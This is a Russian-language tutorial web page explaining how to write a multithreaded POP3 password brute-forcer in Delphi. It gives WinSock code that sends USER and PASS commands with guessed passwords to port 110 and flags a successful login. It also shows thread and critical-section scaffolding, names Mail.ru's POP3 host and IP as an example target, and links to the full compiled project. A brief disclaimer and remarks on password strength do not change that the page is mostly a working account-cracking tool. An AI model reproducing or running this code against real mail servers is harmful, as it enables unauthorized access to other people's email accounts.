Pers.narod.ru. Программы. Пишем брутфорсер на Delphi

Пишем брутфорсер на Delphi

Статья предоставлена в ознакомительных целях, не стоит надеяться, что написанное здесь приложение сделает Вас "великим хакером" :)

Брутфорсингом называют подбор паролей на почтовых серверах. Технически ничего сложного в проблеме нет - достаточно подключить к проекту библиотеку WinSock, отвечающую за работу с сокетами, выяснить командой
ping -a url.сервера.pop3
IP-адрес POP3-сервера интересующего Вас почтового сервиса (например,
ping -a pop3.mail.ru
для Mail.ru), узнать логин нужного пользователя и обращаться к серверу кодом вида

wVersionRequested := MAKEWORD(1,1); //нужная версия WinSock; wVersionRequested: Word
  err:=WSAStartUp(wVersionRequested, WSAData); //инициализируем сокет; err : Integer
   //WSAData: TWSAData (структура из WinAPI)
  if err <> 0 then begin
   //Ошибка - не удалось запустить WinSock
  end;
  sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  if sock2=INVALID_SOCKET then begin
   //Не вышло - неверный сокет
   try
    closesocket(sock2);
   except
   end;
   exit;
  end;
  iaddr := inet_addr(PChar(STRING_АДРЕС_СЕРВЕРА_POP3)); //iaddr : Integer;
  if iaddr <=0 then begin
   //Ошибка - не удалось получить адрес
   try
    closesocket(sock2);
   except
   end;
   exit;
  end;
  addr.sin_family := AF_INET;
  addr.sin_port := htons(110); //Будем лезть по 110 порту
  addr.sin_addr.S_addr:=iaddr;
  if (connect(sock2, addr, sizeof(addr))) >0 then begin //Попытка коннекта
   //Ничего не вышло
   try
    closesocket(sock2);
   except
   end;
   exit;
  end;
  x:=recv(sock2,buf,sizeof(Buf),0); //Получение данных сокета; 
   //x: Integer; Buf : array [1..255] of Char;
  if (x=SOCKET_ERROR)or(buf[1]<>'+') then begin //Не удалось получить
   exit;
  end;
  sender('user '+STRING_ЛОГИН_ЮЗЕРА+#13+#10); //Шлём логин юзера - напишем метод sender для этого
  x:=recv(sock2,buf,sizeof(Buf),0);
  if (x=SOCKET_ERROR)or(buf[1]<>'+') then begin
   //Не удалось послать
   exit;
  end;
  sender('pass '+STRING_ОЧЕРЕДНОЙ_ПАРОЛЬ+#13+#10); //Шлём пароль юзера тем же методом
  x:=recv(sock2,buf,sizeof(Buf),0);
  if (x>3)and(buf[1]='+') then begin
   //ЗАВЕТНОЕ МЕСТО - ЭТО ТОТ ПАРОЛЬ!
  end;
  //Закрываем сокет
  try
   closesocket(sock2);
  except
  end;

Маленькая процедура Sender может выглядеть так:

procedure Sender(str:string);
 var I1: integer;
 begin
  for I1:=1 to Length(str) do
   if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
    exit;
 end;

"Очередной пароль" несложно получить из словаря популярных паролей или методом последовательной генерации подходящих наборов символов. Вся проблема - в быстродействии этого приложения. Если, с учётом времени отклика от сервера, программа будет тратить хотя бы секунду на обработку очередного пароля, то для "гарантированного" подбора пароля из 6 буквенно-цифровых латинских символов (всего имееется 62 таких символа, с учётом различий в регистре) ей понадобится примерно 61474519 / 86400 (число комбинаций по 6 из 62 / число секунд в сутках) ~= 711 суток или почти 2 года! А если добавить символов и увеличить длину пароля?.. (кстати, умный пользователь "на всякий случай" никогда не ставит на ценные ресурсы паролей короче 9-10 "разнокалиберных" символов). А если сервер (или антивирусник) ещё начнёт отслеживать постоянную подозрительную активность Вашего приложения и к Вам примут меры?

К счастью, решение есть, приложение можно сделать многопоточным. Суть в том, что пароли будут перебирать сразу несколько потоков (вычислительных процессов), столько, сколько может позволить себе Ваш компьютер. Для того, чтоб реализовать в нашем приложении набор (массив) потоков, достаточно сделать следующее.

Создадим класс-потомок класса TThread:

type TScan = class(TThread) //класс будет называться TScan
    sock2 : TSocket;    //он содержит сам сокет,
    addr:TSockAddrIn;   //WinAPI-структуру для работы с адресами инета
    WSAData : TWSAData; //и указатель на структуру с данными сокета
  private
    procedure CScan; //это будет процедура-сканер, куда мы загоним написанный выше код
  protected
    procedure Execute; override; 
    //Такая процедура должна быть у каждого потока, это, собственно, его выполнение и есть
  end;

Создадим массив из объектов нового класса TScan:

Sock : array[1..255] of TScan;

Где-то по нажатию кнопки "Сломать ящик Васи Пупкина" запустим кучу процессов:

I:=1;
  while true do begin // Цикл для запуска процессов
   Sock[I]:=TScan.Create(false); //Создаём процесс и сразу запускаем (значение параметра false)
   inc(I);
   sleep(50);
   if (I>НУЖНОЕ_ЧИСЛО_ПРОЦЕССОВ) or (УЖЕ_СЛОМАЛИ) then break;
  end;

Потом сидим и ждём, когда один из процессов вывалит Васин пароль.

Но если бы всё было так просто, ни одного целого пароля в Инете уже бы не было :) Всё дело в том, что запущенные нами потоки "ничего не знают" друг о друге. И если, к примеру, поток в процессе работы изменяет любую внешнюю по отношению к себе переменную (или любое свойство интерфейсного элементы формы - стандартная библиотека VCL тоже однопоточна), это может привести к абсолютно непредсказуемым последствиям - ведь "брат-близнец" - другой поток - тоже мог за это время попытаться что-то сделать с внешними по отношению к себе данными!

Отладка плохо написанных многопоточных программ способна свести с ума уже полностью непредсказуемым поведением любых общих для нескольких потоков данных.

Выходов из нового тупика 2 - начать возиться с синхронизацией действий потоков (отдельная и большая тема), либо просто поместить "опасный" код в так называемые критические секции, внутри которых может работать только один поток, а другие ждут завершения выполнения его операций с секцией:

uses syncobjs; //подключили нужную библиотеку к проекту
...
var CriticalSection: TCriticalSection; //Описали объект критической секции
...
CriticalSection:=TCriticalSection.Create; //создали объект, например, в методе TForm1.FormCreate
...
 CriticalSection.Enter; //Вход в критическую секцию
 //Здесь выполняютс "опасные" действия
 CriticalSection.Leave; //Выход из неё

При анализе наброска нашего брутфорсера легко заметить, что "опасные действия" в нём будут составлять значительную часть кода, прежде всего, все манипуляции с получением очередного пародя из списка и подсчётом этих паролей, а также и часть операций с сокетами. Поэтому многие преимущества многопоточности легко растерять :(

Тем не менее, создав несложную форму будущего приложения

Форма приложения-брутфорсера

и написав недостающий код (чтение-сохранение словаря паролей, интерфейсные штучки и т.п.), получаем проект, который можно скачать по ссылке ниже вместе с исходниками:

 Учебный проект Brute - Брутфорсер на Delphi (130 Кб)

Скомпилировано в Delphi 3, ничего другого не было под рукой, в старших версиях, значит, тем более должно работать.

Приложение успешно справилось с тестовым "взломом" моего рабочего ящика на корпоративном сервере. Как понимаете, просто в файле Brute.txt был нужный пароль :) В реальности нужно всегда иметь в виду сказанное выше о трудоёмкости метода перебора.

К тому же, некоторая задержка возникла с тем, что сервак принимал в качестве логина только полный адрес E-mail, то есть, не user, а user@host.ru. Кстати, сейчас так делают очень многие почтовики, скажем, для упомянутого Mail.Ru тоже надо указать IP POP3-сервера 94.100.177.6 и в поле "Логин" - полный адрес вида user@mail.ru.

Можно ли сделать лучше? Конечно, во-первых, несложно улучшить работу с потоками, избавившись от массивных критических секций, во-вторых, я бы вообще писал реальный брутфорсер на C++ или Perl.

Ссылки по теме:

 Мифы и правда о взломе E-mail

Рейтинг@Mail.ru
вверх гостевая; E-mail
Hosted by uCoz